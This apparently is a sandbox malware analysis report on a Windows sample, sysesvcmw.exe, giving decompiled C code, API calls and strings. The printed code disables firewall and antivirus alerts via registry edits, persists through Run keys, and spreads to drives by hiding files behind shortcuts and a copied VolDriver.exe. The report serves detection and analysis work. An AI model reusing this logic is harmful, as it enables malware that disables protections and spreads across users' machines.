						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sysesvcmw.exePID: 1840, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1437
Total number of Limit Nodes:	2

Executed Functions

Function 00405E10 Relevance: 166.7, APIs: 60, Strings: 35, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				intOrPtr _t149;
				signed char _t192;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x4169d8, 0x105);
					_v532 = PathFindFileNameW(0x4169d8);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x4169d8);
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524);
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4);
								if((E0040B1C0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044);
									wsprintfW(0x416be8, L"%s\\tbnds.dat",  &_v2636);
									wsprintfW(0x4165c8, L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E004054A0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405CF0, 0, 0, 0);
									Sleep(0x2710);
									E004045F0();
									E00405BA0(E0040D020(),  &_v2636);
									 *0x416e0c = CreateEventA(0, 1, 0, 0);
									 *0x416e14 = E0040A8F0( &_v2636);
									 *0x416e10 = E0040BAF0( &_v2636);
									E00409D40();
									_t253 =  *0x416e10; // 0x0
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0);
									_t149 =  *0x416e10; // 0x0
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0);
									_t219 =  *0x416e10; // 0x0
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0);
									_t254 =  *0x416e10; // 0x0
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0);
								}
								return 0;
							}
							if((E0040D0F0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								if(CopyFileW(0x4169d8,  &_v1588, 0) == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(0x4169d8,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
									L22:
									_t203 = E0040D390( &_v1588);
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0);
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2);
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0); // executed
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406528
0x0040653b
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNELBASE(00000BB8), ref: 00405E1E
PathFileExistsW.SHLWAPI(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32 ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32 ref: 00405E81
CreateMutexA.KERNELBASE(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,004169D8,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(004169D8), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNEL32(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNEL32 ref: 00406032
SetFileAttributesW.KERNEL32(?,00000003), ref: 00406049
RegOpenKeyExW.ADVAPI32 ref: 00406067
RegSetValueExW.ADVAPI32 ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32 ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32 ref: 00406188
RegSetValueExW.ADVAPI32 ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNEL32(000001F4), ref: 0040623F
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.ADVAPI32(00000000), ref: 0040634B
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNEL32(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNEL32(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNEL32(000003E8), ref: 004064D8
CreateThread.KERNEL32(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNEL32(000003E8), ref: 004064F8
CreateThread.KERNEL32(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNEL32(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

Strings

AntiSpywareOverride, xrefs: 004062B6
%s\tbcmds.dat, xrefs: 004064AB
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
2u9o0b7n, xrefs: 00405E98
UpdatesOverride, xrefs: 00406313
%s\%s, xrefs: 00406130
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
2393737939739, xrefs: 00405E46
Windows Settings, xrefs: 004060DB, 004061FC
%userprofile%, xrefs: 00405F2C
Z#, xrefs: 00405E2E
%windir%, xrefs: 00405FF8
337372927, xrefs: 00405E6C
AntiVirusOverride, xrefs: 004062D5
UpdatesOverride, xrefs: 0040641F
333383737, xrefs: 00405E77
%s:Zone.Identifier, xrefs: 00405EFE
%s\tbnds.dat, xrefs: 00406491
AntiVirusDisableNotify, xrefs: 004062F4
2282688262, xrefs: 00405E67
AntiVirusDisableNotify, xrefs: 00406400
%s\%s, xrefs: 0040600F
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
FirewallDisableNotify, xrefs: 004063A3
FirewallOverride, xrefs: 00406278
UpdatesDisableNotify, xrefs: 00406332
AntiVirusOverride, xrefs: 004063E1
297973937,, xrefs: 00405E5C
FirewallDisableNotify, xrefs: 00406297
33973397337, xrefs: 00405E57
038038, xrefs: 00405E7C
AntiSpywareOverride, xrefs: 004063C2
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E
FirewallOverride, xrefs: 00406384
UpdatesDisableNotify, xrefs: 0040643E

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-945890190
Opcode ID: f746adeada96446dc3245649bddd4a9d991eb45b4019eb8eef4e2c3d2dac2882
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: f746adeada96446dc3245649bddd4a9d991eb45b4019eb8eef4e2c3d2dac2882
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32 ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

%s\%s\VolDriver.exe, xrefs: 00405033
%s\%s, xrefs: 0040537E
shell32.dll, xrefs: 00405183
%s\*, xrefs: 0040506C
shell32.dll, xrefs: 0040516B
$QA, xrefs: 00404FDE
%s.lnk, xrefs: 00404FF3
%s\%s, xrefs: 00405053
%s\%s, xrefs: 004053F1
%s\%s, xrefs: 00405013
%s\%s\%s, xrefs: 00405418

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
